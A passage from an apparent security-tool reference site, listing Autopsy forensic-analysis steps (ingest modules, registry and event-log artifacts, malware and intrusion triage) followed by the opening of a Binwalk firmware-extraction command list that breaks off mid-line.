recovery. - Category: Forensics - Commands: 165 - Page: https://terminal.rokibulroni.com/tool/forensics/autopsy - Homepage: https://www.autopsy.com - Documentation: https://sleuthkit.org/autopsy/docs/user-docs/latest/ - Tags: disk forensics, DFIR, GUI ## Install - apt: `sudo apt install autopsy` - windows: `Download the installer from https://www.autopsy.com/download/` ## Case Creation ### Create New Case ```bash Create New Case ``` Example: ```bash Launch Autopsy and select 'New Case' from the welcome screen ``` Initializes the case database and directory structure for a new investigation ### Define Case Information ```bash Define Case Information ``` Example: ```bash Enter Case Name and Base Directory path ``` Sets the identifier and storage location for all case data ### Set Examiner Details ```bash Set Examiner Details ``` Example: ```bash Input Examiner Name, Phone, and Email optional fields ``` Associates the investigator's metadata with the case for reporting purposes ## Data Source Ingestion ### Select Data Source Type - Disk Image ```bash Select Data Source Type - Disk Image ``` Example: ```bash Choose 'Disk Image or VM File' in the Add Data Source wizard ``` Prepares Autopsy to ingest physical or virtual disk image files like E01 or VMDK ### Select Data Source Type - Logical Files ```bash Select Data Source Type - Logical Files ``` Example: ```bash Choose 'Logical Files' to analyze a specific folder without an image ``` Ingests a live directory or specific files from the host system for analysis ### Select Data Source Type - Unallocated Space ```bash Select Data Source Type - Unallocated Space ``` Example: ```bash Choose 'Unallocated Space Image File' for raw binary chunks ``` Ingests raw data chunks specifically for carving without filesystem structures ### Configure Time Zone ```bash Configure Time Zone ``` Example: ```bash Set the time zone to the suspect's local time or UTC ``` Ensures accurate timestamp interpretation during file system processing ## Ingest Modules ### Enable Recent Activity Module ```bash Enable Recent Activity Module ``` Example: ```bash Check 'Recent Activity' during ingest configuration ``` Extracts user activity from registry, recent docs, and installed programs ### Enable Hash Lookup Module ```bash Enable Hash Lookup Module ``` Example: ```bash Check 'Hash Lookup' and select a hash set like NSRL ``` Identifies known good files to ignore and known bad files to flag ### Enable File Type Identification ```bash Enable File Type Identification ``` Example: ```bash Check 'File Type Identification' to analyze file signatures ``` Determines file types based on magic bytes rather than file extensions ### Enable Archive Extractor ```bash Enable Archive Extractor ``` Example: ```bash Check 'Embedded File Extractor' to open ZIP and RAR files ``` Unpacks compressed archives to analyze the files contained within them ### Enable Exif Parser ```bash Enable Exif Parser ``` Example: ```bash Check 'Picture Analyzer' or Exif parser to extract metadata ``` Extracts geolocation and camera device data from image files ### Enable Keyword Search Module ```bash Enable Keyword Search Module ``` Example: ```bash Check 'Keyword Search' to index text content ``` Indexes file content to allow for fast text searching later in the investigation ### Enable Email Parser ```bash Enable Email Parser ``` Example: ```bash Check 'Email Parser' to process MBOX, PST, and OST files ``` Extracts individual emails and attachments from mailbox container files ### Enable Encryption Detection ```bash Enable Encryption Detection ``` Example: ```bash Check 'Encryption Detection' to find password-protected files ``` Flags files that are encrypted or password protected for manual review ### Enable Interesting Files Identifier ```bash Enable Interesting Files Identifier ``` Example: ```bash Check 'Interesting Files Identifier' using a custom rule set ``` Flags files matching specific names or paths relevant to the investigation ## User Interface ### Navigate Directory Tree ```bash Navigate Directory Tree ``` Example: ```bash Expand 'Data Sources' > 'Image Name' > 'Vol' to browse folders ``` Allows manual exploration of the file system hierarchy ### View File Content - Text ```bash View File Content - Text ``` Example: ```bash Select the 'Text' tab in the content viewer pane ``` Displays the ASCII or Unicode text representation of the selected file ### View File Content - Hex ```bash View File Content - Hex ``` Example: ```bash Select the 'Hex' tab to view raw binary data ``` Shows the raw hexadecimal and ASCII decoding of the file's bytes ### View File Content - Application ```bash View File Content - Application ``` Example: ```bash Select the 'Application' tab to render images or HTML ``` Renders supported file types like images and HTML in their native format ### View File Metadata ```bash View File Metadata ``` Example: ```bash Select the 'File Metadata' tab to see timestamps and attributes ``` Displays MAC times, permissions, and file system attributes ## Artifact Analysis ### Analyze Web History ```bash Analyze Web History ``` Example: ```bash Navigate to 'Web History' under 'Results' in the tree ``` Lists visited URLs extracted from browser databases ### Analyze Web Cookies ```bash Analyze Web Cookies ``` Example: ```bash Navigate to 'Web Cookies' to see session data ``` Displays tracking cookies and session identifiers from web browsers ### Analyze Web Downloads ```bash Analyze Web Downloads ``` Example: ```bash Navigate to 'Web Downloads' to find downloaded files ``` Lists files downloaded via browsers including source URL and path ### Analyze Installed Programs ```bash Analyze Installed Programs ``` Example: ```bash Check 'Installed Programs' artifact category ``` Lists software applications installed on the system via Registry or packages ### Analyze OS Information ```bash Analyze OS Information ``` Example: ```bash Check 'Operating System Information' artifact ``` Shows OS version, install date, and system owner details ### Analyze USB Device History ```bash Analyze USB Device History ``` Example: ```bash Navigate to 'USB Device Attached' artifacts ``` Lists external storage devices previously connected to the system ### Analyze User Accounts ```bash Analyze User Accounts ``` Example: ```bash Navigate to 'OS Accounts' artifact ``` Lists user profiles, last login times, and account privileges ## File Analysis ### Filter by Extension ```bash Filter by Extension ``` Example: ```bash Navigate to 'Views' > 'File Types' > 'By Extension' ``` Groups files by their extension for quick review of specific types ### Filter by MIME Type ```bash Filter by MIME Type ``` Example: ```bash Navigate to 'Views' > 'File Types' > 'By MIME Type' ``` Groups files by their detected internal signature or MIME type ### View Deleted Files ```bash View Deleted Files ``` Example: ```bash Navigate to 'Views' > 'Deleted Files' > 'File System' ``` Shows files that have been marked as deleted but are still recoverable ### Sort by File Size ```bash Sort by File Size ``` Example: ```bash Click the 'Size' column header in the result viewer ``` Orders the file list by size to identify unusually large or small files ## Search ### Perform Exact Match Search ```bash Perform Exact Match Search ``` Example: ```bash Enter a specific word in the Keyword Search bar and search ``` Locates exact string matches within the indexed text of the case ### Perform Substring Search ```bash Perform Substring Search ``` Example: ```bash Enter a partial word and select 'Substring match' ``` Finds words that contain the search term as a fragment ### Perform RegEx Search ```bash Perform RegEx Search ``` Example: ```bash Enter a regular expression like email patterns and search ``` Uses patterns to find structured data like emails or credit card numbers ### Save Search Results ```bash Save Search Results ``` Example: ```bash Click 'Save' on a search result tab to persist findings ``` Saves the current search results to the directory tree for reporting ## Timeline Analysis ### Open Timeline Viewer ```bash Open Timeline Viewer ``` Example: ```bash Click the 'Timeline' button in the top toolbar ``` Launches the visualization tool for chronological event analysis ### View Counts by Time ```bash View Counts by Time ``` Example: ```bash Select 'Counts' mode in Timeline to see activity spikes ``` Displays a bar chart of event frequency to identify periods of high activity ### View Details by Time ```bash View Details by Time ``` Example: ```bash Select 'Details' mode to see specific event descriptions ``` Lists individual events like file creation or web access in chronological order ### Filter Timeline by Event Type ```bash Filter Timeline by Event Type ``` Example: ```bash Uncheck 'File System' to focus only on 'Web Activity' ``` Reduces noise by hiding specific categories of temporal events ## Tagging ### Create Custom Tag ```bash Create Custom Tag ``` Example: ```bash Go to 'Tags' options and create a 'Malware Suspect' tag ``` Defines a new label for categorizing evidence during analysis ### Tag File ```bash Tag File ``` Example: ```bash Right-click a file and select 'Add Tag' > 'Bookmark' ``` Marks a specific file for later review or inclusion in the final report ### Tag Result Artifact ```bash Tag Result Artifact ``` Example: ```bash Right-click a Web History entry and tag it ``` Marks a specific analysis result rather than the source file ## Reporting ### Generate HTML Report ```bash Generate HTML Report ``` Example: ```bash Click 'Generate Report', select 'HTML', and choose data ``` Creates a browser-viewable report of selected artifacts and tags ### Generate Excel Report ```bash Generate Excel Report ``` Example: ```bash Select 'Excel' format in the Generate Report wizard ``` Exports artifact tables to a spreadsheet for external manipulation ## Setup ### Configure Global Settings ```bash Configure Global Settings ``` Example: ```bash Tools > Options to adjust memory usage and display settings ``` Adjusts application-wide preferences for performance and view ### Manage Hash Sets ```bash Manage Hash Sets ``` Example: ```bash Tools > Options > Hash Sets to import a new MD5 database ``` Adds external hash databases for filtering known files ### Update Keyword Lists ```bash Update Keyword Lists ``` Example: ```bash Tools > Options > Keyword Search to add custom lists ``` Configures predefined lists of search terms for automated searching ## Advanced Ingest ### Run Ingest Modules on Subset ```bash Run Ingest Modules on Subset ``` Example: ```bash Right-click a folder and choose 'Run Ingest Modules' ``` Executes analysis modules on a specific directory rather than the whole image ### Prioritize Ingest Jobs ```bash Prioritize Ingest Jobs ``` Example: ```bash Use the Ingest Progress monitor to cancel or reorder jobs ``` Manages system resources by controlling which analysis tasks run first ## Artifact Analysis ### Analyze Shellbags ```bash Analyze Shellbags ``` Example: ```bash Review 'Shellbags' artifact for folder access history ``` Reveals which folders were viewed by the user and when ### Analyze Prefetch ```bash Analyze Prefetch ``` Example: ```bash Review 'Prefetch' artifacts for application execution ``` Determines which programs were run, how often, and when last executed ### Analyze Shimcache ```bash Analyze Shimcache ``` Example: ```bash Review 'Shimcache' for evidence of program execution compatibility ``` Identifies applications present on the system even if deleted ### Analyze Recent Documents ```bash Analyze Recent Documents ``` Example: ```bash Check 'Recent Documents' artifact from registry/LNK files ``` Lists documents recently opened by the user ## Communications ### Analyze Email Messages ```bash Analyze Email Messages ``` Example: ```bash Browse extracted emails in the 'Email' artifact node ``` Reads the body, headers, and attachments of processed emails ### Analyze Call Logs ```bash Analyze Call Logs ``` Example: ```bash Review 'Call Logs' artifact from mobile backups ``` Lists incoming, outgoing, and missed calls extracted from mobile data ### Analyze Contacts ```bash Analyze Contacts ``` Example: ```bash Review 'Contacts' artifact for address book entries ``` Displays contact names and numbers found in mobile or email data ### Analyze Text Messages ```bash Analyze Text Messages ``` Example: ```bash Review 'Messages' artifact for SMS/MMS content ``` Reads short message service content extracted from phone dumps ## Advanced Analysis ### File Carving with PhotoRec ```bash File Carving with PhotoRec ``` Example: ```bash Enable 'PhotoRec Carver' in Ingest Modules ``` Recovers deleted files from unallocated space by signature scanning ### Extract Strings ```bash Extract Strings ``` Example: ```bash Run the 'Strings' task or view the Strings tab ``` Extracts printable characters from binary files to find hidden text ### Manual Hex Analysis ```bash Manual Hex Analysis ``` Example: ```bash Inspect file headers in the Hex view to verify file type ``` Visually validates the file signature against the extension ### Registry Hive Analysis ```bash Registry Hive Analysis ``` Example: ```bash Browse the virtual 'Registry' folders in the tree view ``` Navigates the Windows Registry hive structure manually ### Geolocation Mapping ```bash Geolocation Mapping ``` Example: ```bash Open the 'Geolocation' window to see points on a map ``` Visualizes GPS coordinates extracted from images and metadata on a map ### Communication Visualization ```bash Communication Visualization ``` Example: ```bash Open the 'Communications' visualization tool ``` Graphs relationships between accounts based on calls and emails ## Malware Detection ### Analyze Startup Items ```bash Analyze Startup Items ``` Example: ```bash Check 'Startup Items' artifact for persistence mechanisms ``` Identifies programs configured to launch automatically at boot ### Search for Webshells ```bash Search for Webshells ``` Example: ```bash Keyword search for common webshell functions like 'eval' or 'base64_decode' ``` Detects potential backdoors in web server directories ### Identify Packed Files ```bash Identify Packed Files ``` Example: ```bash Sort executables by entropy or check file type analysis ``` Finds files with high entropy that may be packed malware ## Export ### Export File ```bash Export File ``` Example: ```bash Right-click a file and select 'Extract File(s)' ``` Copies a file from the forensic image to the local file system ### Export Result Table ```bash Export Result Table ``` Example: ```bash Right-click a result table and 'Export to CSV' ``` Saves the current list view as a CSV file for external analysis ## Reporting ### Create Portable Case ```bash Create Portable Case ``` Example: ```bash Reporting > Portable Case to create a shareable viewer ``` Generates a standalone version of the case for non-technical stakeholders ## Automation ### Create Ingest Profile ```bash Create Ingest Profile ``` Example: ```bash Options > Ingest Profiles to save a set of modules ``` Saves a specific configuration of ingest modules for repeatable workflows ### Filter Known Files ```bash Filter Known Files ``` Example: ```bash Apply the 'Known Files' filter to hide NSRL matches ``` Hides system files found in the whitelist to focus on user data ## Mobile Forensics ### Run Android Analyzer ```bash Run Android Analyzer ``` Example: ```bash Enable 'Android Analyzer' module on a phone dump ``` Parses SQLite databases specific to Android apps and system ### Analyze GPS Trackpoints ```bash Analyze GPS Trackpoints ``` Example: ```bash Review 'GPS Trackpoints' artifact ``` Examines route history data from navigation applications ## Database Analysis ### SQLite Database Viewer ```bash SQLite Database Viewer ``` Example: ```bash Open a .db file to view tables within Autopsy ``` Browses the schema and content of SQLite databases directly in the content viewer ## Integration ### Configure Cuckoo Sandbox ```bash Configure Cuckoo Sandbox ``` Example: ```bash Settings > Cuckoo to connect for malware detonation ``` Links Autopsy to a Cuckoo instance for automated malware analysis ### Configure Volatility ```bash Configure Volatility ``` Example: ```bash Configure paths to run Volatility plugins on memory dumps ``` Integrates memory forensics tools to analyze RAM captures ## Advanced Search ### Search by Attribute ```bash Search by Attribute ``` Example: ```bash Search for files with 'Creation Time' in a specific range ``` Finds files based on metadata properties rather than content ### Credit Card Pattern Search ```bash Credit Card Pattern Search ``` Example: ```bash Enable the 'Credit Card' regex in Keyword Search ``` Scans for sequences matching major credit card numbering standards ### IP Address Search ```bash IP Address Search ``` Example: ```bash Enable 'IP Address' regex in Keyword Search ``` Scans for IPv4 and IPv6 address patterns in files and logs ## Defensive Validation ### Verify Digital Signatures ```bash Verify Digital Signatures ``` Example: ```bash Check if critical system binaries have valid signatures ``` Confirms that system files have not been modified by an attacker ### Analyze Security Event Logs ```bash Analyze Security Event Logs ``` Example: ```bash Parse Windows Event Logs for Event ID 4624 (Logon) ``` Reviews authentication logs to identify unauthorized access attempts ## Threat Hunting ### Search for Ransom Note ```bash Search for Ransom Note ``` Example: ```bash Keyword search for 'decrypt', 'bitcoin', or 'readme' ``` Identifies presence of ransomware instructions ### Identify Large Archives ```bash Identify Large Archives ``` Example: ```bash Filter by size and extension .zip/.rar/.7z ``` Finds potential data staging archives created for exfiltration ### Check Temp Directories ```bash Check Temp Directories ``` Example: ```bash Browse AppData/Local/Temp for executable files ``` Inspects temporary folders often used as malware staging grounds ## Triage ### Run Triage Ingest Profile ```bash Run Triage Ingest Profile ``` Example: ```bash Run a profile with only 'Recent Activity' and 'Hash Lookup' ``` Performs a rapid analysis to get quick wins before full processing ## Multi-User ### Connect to Central Repository ```bash Connect to Central Repository ``` Example: ```bash Configure PostgreSQL/SQLite central repo in settings ``` Enables cross-case correlation of artifacts and hashes ### Flag Globally Ignored Items ```bash Flag Globally Ignored Items ``` Example: ```bash Mark an item as 'Notable' in the Central Repository ``` Tags an artifact so it is flagged in all future cases ### Enable Solr Server ```bash Enable Solr Server ``` Example: ```bash Connect case to a multi-user Solr text index server ``` Offloads text indexing to a dedicated server for collaborative cases ## Customization ### Install Python Plugin ```bash Install Python Plugin ``` Example: ```bash Tools > Python Plugins to add community scripts ``` Extends functionality with user-created Python ingest modules ### Install Third-Party Module ```bash Install Third-Party Module ``` Example: ```bash Tools > Plugins > Available Plugins to install .nbm files ``` Adds features via the NetBeans Module format ## Analysis ### Annotate Artifact ```bash Annotate Artifact ``` Example: ```bash Add a comment to a specific file artifact ``` Attaches examiner notes to a specific finding ### Correlate Artifacts ```bash Correlate Artifacts ``` Example: ```bash Use 'Other Occurrences' to see if file exists in other cases ``` Checks the Central Repository to see if the file was seen before ## Advanced ### YARA Rule Scan ```bash YARA Rule Scan ``` Example: ```bash Use a YARA ingest plugin to scan for malware signatures ``` Applies pattern matching rules to identify malware families ### Plaso Integration ```bash Plaso Integration ``` Example: ```bash Import Plaso storage file into Autopsy timeline ``` Visualizes timelines generated by the Plaso super-timeline tool ### Parse SAM Hive ```bash Parse SAM Hive ``` Example: ```bash Analyze SAM registry hive for user details ``` Extracts local user account information and group memberships ### Parse SYSTEM Hive ```bash Parse SYSTEM Hive ``` Example: ```bash Analyze SYSTEM registry hive for hardware/timezone info ``` Extracts system-wide configuration and mounted device lists ### Parse SOFTWARE Hive ```bash Parse SOFTWARE Hive ``` Example: ```bash Analyze SOFTWARE hive for installed apps and OS version ``` Extracts software configuration and operating system metadata ### Parse NTUSER.DAT ```bash Parse NTUSER.DAT ``` Example: ```bash Analyze NTUSER.DAT for user-specific settings ``` Extracts user actions, search history, and recent file access ### Parse Amcache ```bash Parse Amcache ``` Example: ```bash Analyze Amcache.hve for program execution evidence ``` Identifies executables that were run or present on the system ## Reporting ### Export to STIX ```bash Export to STIX ``` Example: ```bash Generate report in STIX format for threat intel ``` Formats findings into Structured Threat Information Expression for sharing ### Export KML ```bash Export KML ``` Example: ```bash Generate Google Earth KML report from geolocation data ``` Creates a map file compatible with Google Earth for location tracking ## Evidence Management ### Verify Image Integrity ```bash Verify Image Integrity ``` Example: ```bash Use image verification tool to check E01 hash ``` Ensures the forensic image has not been corrupted since acquisition ### Add Local Disk ```bash Add Local Disk ``` Example: ```bash Run Autopsy as Admin and add 'Local Disk' ``` Ingests a currently attached physical drive for analysis ## Carving ### Custom Carving Configuration ```bash Custom Carving Configuration ``` Example: ```bash Edit carving rules to add new file signatures ``` Defines custom headers and footers for recovering unsupported file types ## Multimedia ### Video Frame Analysis ```bash Video Frame Analysis ``` Example: ```bash Use video triage module to capture frames ``` Extracts still images from video files for quick review ### Image Gallery View ```bash Image Gallery View ``` Example: ```bash Select 'Images' in the tree to view thumbnail grid ``` Displays all found images in a gallery layout for rapid visual triage ## Email Analysis ### Filter Emails by Sender ```bash Filter Emails by Sender ``` Example: ```bash Sort email artifacts by 'From' address ``` Isolates communications originating from a specific suspect ### Filter Emails by Date ```bash Filter Emails by Date ``` Example: ```bash Apply date filter to email messages ``` Focuses email review on the relevant timeframe of the incident ## System Analysis ### Analyze Scheduled Tasks ```bash Analyze Scheduled Tasks ``` Example: ```bash Review 'Scheduled Tasks' artifacts (.job/.xml) ``` Checks for automated tasks often used for malware persistence ### Analyze Services ```bash Analyze Services ``` Example: ```bash Review System registry for service configurations ``` Identifies installed background services and their startup types ## Incident Response ### Detect Lateral Movement ```bash Detect Lateral Movement ``` Example: ```bash Search for RDP logs or PsExec artifacts ``` Finds evidence of an attacker moving between systems in the network ### Detect Data Exfiltration ```bash Detect Data Exfiltration ``` Example: ```bash Analyze large file transfers or cloud storage sync logs ``` Identifies data leaving the network via upload or external drive ### Analyze PowerShell History ```bash Analyze PowerShell History ``` Example: ```bash View 'ConsoleHost_history.txt' or PSReadLine artifacts ``` Reviews executed PowerShell commands for malicious scripts ### Analyze Bash History ```bash Analyze Bash History ``` Example: ```bash View '.bash_history' files on Linux/Mac images ``` Reviews command line history on Unix-like systems ## Browser Forensics ### Analyze Form History ```bash Analyze Form History ``` Example: ```bash Review 'Web Form Autofill' artifacts ``` Recovers text typed into web forms like search bars or login fields ### Analyze Cache ```bash Analyze Cache ``` Example: ```bash Review 'Web Cache' artifacts for cached images/scripts ``` Examines stored web content to reconstruct page views ## Cleanup ### Delete Case ```bash Delete Case ``` Example: ```bash Manually delete the case directory via OS ``` Removes the case database and reports to free up disk space ## Workflow ### Open Recent Case ```bash Open Recent Case ``` Example: ```bash Select a case from the 'Recent Cases' list on startup ``` Quickly resumes work on a previously accessed investigation ### Close Case ```bash Close Case ``` Example: ```bash Case > Close Case to release locks ``` Safely closes the database connection and saves the current state ## Cloud Forensics ### Analyze Cloud Storage Artifacts ```bash Analyze Cloud Storage Artifacts ``` Example: ```bash Look for installed Dropbox/OneDrive databases ``` Identifies synced files and account information for cloud services ## Encryption ### Detect BitLocker ```bash Detect BitLocker ``` Example: ```bash Identify partitions with BitLocker signatures ``` Recognizes volumes encrypted with Windows native encryption ### Detect TrueCrypt/VeraCrypt ```bash Detect TrueCrypt/VeraCrypt ``` Example: ```bash Identify high-entropy files or mounted volume artifacts ``` Flags potential encrypted containers used to hide data ## Advanced ### Analyze Volume Shadow Copies ```bash Analyze Volume Shadow Copies ``` Example: ```bash Add VSS snapshots as data sources ``` Accesses historical versions of files from Windows Restore points ### Compare VSS Snapshots ```bash Compare VSS Snapshots ``` Example: ```bash Compare file differences between Shadow Copies ``` Identifies what changed on the system between two points in time ## Drone Forensics ### Analyze Drone Logs ```bash Analyze Drone Logs ``` Example: ```bash Import drone flight logs (DAT/TXT) ``` Parses flight paths and telemetry from UAV devices ## Result Management ### Hide Known Files ```bash Hide Known Files ``` Example: ```bash Use 'Hide Known Files' option in views ``` Suppresses files matching the NSRL whitelist from the view ### Group by Data Source ```bash Group by Data Source ``` Example: ```bash Toggle 'Group by Data Source' in the tree ``` Separates artifacts based on which disk image they came from ## Advanced UI ### Undock Windows ```bash Undock Windows ``` Example: ```bash Drag the Data Content viewer to a second monitor ``` Customizes the workspace layout for multi-monitor setups ### Snapshot Case State ```bash Snapshot Case State ``` Example: ```bash Backup the case database file (autopsy.db) ``` Creates a manual backup of the investigation progress ## Artifact Analysis ### Analyze LNK Files ```bash Analyze LNK Files ``` Example: ```bash Review parsed Shortcut files ``` Determines target paths and timestamps of accessed files/folders ### Analyze Jump Lists ```bash Analyze Jump Lists ``` Example: ```bash Review Automatic/Custom Jump List artifacts ``` Shows recent files accessed via the Taskbar or Start Menu ### Analyze Thumbcache ```bash Analyze Thumbcache ``` Example: ```bash Review thumbnail cache database entries ``` Views thumbnails of images that may have been deleted ### Analyze Windows 10 Timeline ```bash Analyze Windows 10 Timeline ``` Example: ```bash Parse the ActivitiesCache.db ``` Reconstructs user activity history across devices ### Analyze SRUM Data ```bash Analyze SRUM Data ``` Example: ```bash Parse SRUDB.dat for network usage ``` Analyzes System Resource Usage Monitor for app network/CPU history ## Network Forensics ### Import PCAP ```bash Import PCAP ``` Example: ```bash Ingest a .pcap file as a logical file ``` Adds network capture files for basic extraction (requires plugins for deep analysis) ## Keyword Search ### Search for URLs ```bash Search for URLs ``` Example: ```bash Use Regex for 'http://' and 'https://' ``` Extracts all web links found in files and unallocated space ### Search for Email Addresses ```bash Search for Email Addresses ``` Example: ```bash Use Regex for email pattern ``` Harvests all email addresses found on the disk ### Search for Phone Numbers ```bash Search for Phone Numbers ``` Example: ```bash Use Regex for various phone number formats ``` Identifies potential contact numbers in documents and logs ## Scripting ### Run Jython Script ```bash Run Jython Script ``` Example: ```bash Execute a custom .py script via the Python Console ``` Runs automated tasks using the internal Java-Python environment ## File Identification ### Check Mismatched Extensions ```bash Check Mismatched Extensions ``` Example: ```bash Review 'Extension Mismatch Detected' results ``` Investigates files where the header does not match the file extension ## Malware Analysis ### Extract PE Header Info ```bash Extract PE Header Info ``` Example: ```bash View compile time and sections of .exe files ``` Analyzes executable structure to find anomalies or spoofing ### Calculate Entropy ```bash Calculate Entropy ``` Example: ```bash View entropy score in file metadata ``` Measures randomness to detect compression or encryption in malware ## Reporting ### Tag Reporting ```bash Tag Reporting ``` Example: ```bash Generate report containing ONLY tagged items ``` Creates a concise report focused only on pertinent evidence ### Timeline Report ```bash Timeline Report ``` Example: ```bash Export timeline events to CSV ``` Creates a chronological list of events for external timeline tools ## Administration ### Manage Solr Schema ```bash Manage Solr Schema ``` Example: ```bash Update Solr configuration for new index fields ``` Modifies the search index structure (Advanced Admin task) ### Clear Image Cache ```bash Clear Image Cache ``` Example: ```bash Manually clear temp image cache if disk is full ``` Frees up space used by cached thumbnails and temporary files ## Validation ### Check Ingest Logs ```bash Check Ingest Logs ``` Example: ```bash Help > Open Log Folder to view autopsy.log ``` Troubleshoots errors that occurred during the ingest process ## Analysis ### Review User Downloads ```bash Review User Downloads ``` Example: ```bash Correlate 'Downloads' folder with browser history ``` Confirms if a file on disk originated from a specific web download ### Review Recycle Bin ```bash Review Recycle Bin ``` Example: ```bash Parse $Recycle.Bin artifacts ``` Identifies who deleted a file and when it was deleted ## Integrity ### Validate Hash Set ```bash Validate Hash Set ``` Example: ```bash Check if an imported hash set is responding ``` Ensures the known-good/bad filters are active and accurate ## Advanced ### Hex Editor Search ```bash Hex Editor Search ``` Example: ```bash Search for hex byte sequence in Hex View ``` Finds specific binary signatures manually within a file ### Export Unallocated Space ```bash Export Unallocated Space ``` Example: ```bash Right-click 'Unallocated Space' > Extract ``` Exports raw unallocated data for external carving tools ## Triage ### Live Triage on USB ```bash Live Triage on USB ``` Example: ```bash Run Autopsy from USB on suspect machine (Lite Mode) ``` Performs data collection on a live system (requires portable setup) ## Analysis ### Review RDP Cache ```bash Review RDP Cache ``` Example: ```bash Analyze RDP bitmap cache artifacts ``` Reconstructs visual fragments of previous Remote Desktop sessions ### Review TeamViewer Logs ```bash Review TeamViewer Logs ``` Example: ```bash Keyword search for 'TeamViewer' logs ``` Identifies remote access sessions via TeamViewer software ### Review AnyDesk Artifacts ```bash Review AnyDesk Artifacts ``` Example: ```bash Locate AnyDesk 'ad.trace' files ``` Analyzes logs for AnyDesk remote connection history ## Database ### Rebuild Solr Index ```bash Rebuild Solr Index ``` Example: ```bash Tools > Options > Keyword Search > Rebuild ``` Re-indexes the case text if search results are corrupted ## Analysis ### Review Event Logs - Service Creation ```bash Review Event Logs - Service Creation ``` Example: ```bash Filter for Event ID 7045 ``` Detects when a new service was installed (common malware persistence) ### Review Event Logs - Process Creation ```bash Review Event Logs - Process Creation ``` Example: ```bash Filter for Event ID 4688 ``` Tracks which processes were launched and by whom ### Review Event Logs - Account Creation ```bash Review Event Logs - Account Creation ``` Example: ```bash Filter for Event ID 4720 ``` Identifies when a new user account was added to the system ### Review Event Logs - Clear Logs ```bash Review Event Logs - Clear Logs ``` Example: ```bash Filter for Event ID 1102 ``` Detects if the audit log was manually cleared to hide tracks ## Export ### Export Metadata to CSV ```bash Export Metadata to CSV ``` Example: ```bash Export file listing with MAC times to CSV ``` Generates a file system bodyfile for external timeline analysis ## Finalization ### Archive Case ```bash Archive Case ``` Example: ```bash Compress the entire case directory ``` Packages the case data and reports for long-term cold storage ### Verify Report Integrity ```bash Verify Report Integrity ``` Example: ```bash Check generated report files against findings ``` Quality assurance step to ensure report accurately reflects evidence ## Related tools - [The Sleuth Kit](https://terminal.rokibulroni.com/tool/forensics/sleuthkit) - [Plaso (log2timeline)](https://terminal.rokibulroni.com/tool/forensics/plaso) - [Foremost](https://terminal.rokibulroni.com/tool/forensics/foremost) # Tool: Binwalk > Analyses and extracts firmware images: finds embedded file systems, compressed data and executable code by signature and entropy. - Category: Forensics - Commands: 65 - Page: https://terminal.rokibulroni.com/tool/forensics/binwalk - Homepage: https://github.com/ReFirmLabs/binwalk - Documentation: https://github.com/ReFirmLabs/binwalk/wiki - Tags: firmware, reverse engineering, extraction ## Install - apt: `sudo apt install binwalk` - brew: `brew install binwalk` - cargo: `cargo install binwalk` ## Basic Syntax ### binwalk --help ```bash binwalk --help ``` Displays the main help menu listing all available options and flags ## Basic Firmware Analysis ### binwalk firmware.bin ```bash binwalk firmware.bin ``` Performs a default signature scan to identify embedded file types and offsets ### binwalk -B firmware.bin ```bash binwalk -B firmware.bin ``` Explicitly enables the standard signature analysis scan mode ## Signature Scanning ### binwalk -b firmware.bin ```bash binwalk -b firmware.bin ``` Runs a dumb scan that ignores smart signature keywords for broader matching ### binwalk -I firmware.bin ```bash binwalk -I firmware.bin ``` Shows all scan results including those marked as invalid by the magic definitions ### binwalk -m ./magic.mgc firmware.bin ```bash binwalk -m ./magic.mgc firmware.bin ``` Example: ```bash binwalk -m ./custom_magic.mgc firmware.bin ``` Uses a custom magic signature file instead of the default system signatures ### binwalk -R "\x1f\x8b\x08" firmware.bin ```bash binwalk -R "\x1f\x8b\x08" firmware.bin ``` Scans the file for a specific raw byte sequence ### binwalk -R "Copyright" firmware.bin ```bash binwalk -R "Copyright" firmware.bin ``` Scans the file for a specific ASCII string occurrence ## Entropy Analysis ### binwalk -E firmware.bin ```bash binwalk -E firmware.bin ``` Calculates and displays the entropy of the file to identify compressed or encrypted data ### binwalk -E -N firmware.bin ```bash binwalk -E -N firmware.bin ``` Calculates entropy but suppresses the generation of the entropy graph plot ### binwalk -E -J firmware.bin ```bash binwalk -E -J firmware.bin ``` Calculates entropy and saves the resulting graph as a PNG image ### binwalk -E -Q firmware.bin ```bash binwalk -E -Q firmware.bin ``` Calculates entropy and omits the legend from the generated graph ## Filtering Results ### binwalk -y "filesystem" firmware.bin ```bash binwalk -y "filesystem" firmware.bin ``` Filters output to only show results containing the string filesystem ### binwalk -y "filesystem" -y "copyright" firmware.bin ```bash binwalk -y "filesystem" -y "copyright" firmware.bin ``` Filters output to show results matching either filesystem or copyright ### binwalk -x "invalid" firmware.bin ```bash binwalk -x "invalid" firmware.bin ``` Filters output to exclude any results containing the string invalid ## Extraction Workflows ### binwalk -e firmware.bin ```bash binwalk -e firmware.bin ``` Automatically extracts known file types found during the signature scan ### binwalk -D "png image:png" firmware.bin ```bash binwalk -D "png image:png" firmware.bin ``` Extracts files matching the png image signature and saves them with a png extension ### binwalk -D "gzip compressed data:gz:gunzip %e" firmware.bin ```bash binwalk -D "gzip compressed data:gz:gunzip %e" firmware.bin ``` Extracts gzip data, saves with gz extension, and runs gunzip on the extracted file ### binwalk -e -r firmware.bin ```bash binwalk -e -r firmware.bin ``` Extracts known files and deletes the carved files after successful extraction ### binwalk -e -z firmware.bin ```bash binwalk -e -z firmware.bin ``` Carves data based on signatures but does not execute external extraction utilities ## Recursive Analysis ### binwalk -M -e firmware.bin ```bash binwalk -M -e firmware.bin ``` Recursively scans and extracts contents (Matryoshka mode) from extracted files ### binwalk -M -e -d 4 firmware.bin ```bash binwalk -M -e -d 4 firmware.bin ``` Recursively extracts files but limits the recursion depth to 4 levels ### binwalk -M -e -C ./output_dir firmware.bin ```bash binwalk -M -e -C ./output_dir firmware.bin ``` Recursively extracts contents into a specific custom directory ## Extraction Limits ### binwalk -e -j 1048576 firmware.bin ```bash binwalk -e -j 1048576 firmware.bin ``` Extracts files but limits the size of each extracted file to 1MB ### binwalk -e -n 50 firmware.bin ```bash binwalk -e -n 50 firmware.bin ``` Extracts files but stops after extracting 50 files ## Opcode Analysis ### binwalk -A firmware.bin ```bash binwalk -A firmware.bin ``` Scans the file for common executable opcode signatures to identify CPU architecture ### binwalk -A -y "MIPS" firmware.bin ```bash binwalk -A -y "MIPS" firmware.bin ``` Scans for opcodes and filters results to only show MIPS architecture matches ## Output & Logging ### binwalk -f scan.log firmware.bin ```bash binwalk -f scan.log firmware.bin ``` Logs the scan results to a specified text file ### binwalk --csv firmware.bin ```bash binwalk --csv firmware.bin ``` Formats the scan output as CSV for easy importing into spreadsheets ### binwalk --csv -f results.csv firmware.bin ```bash binwalk --csv -f 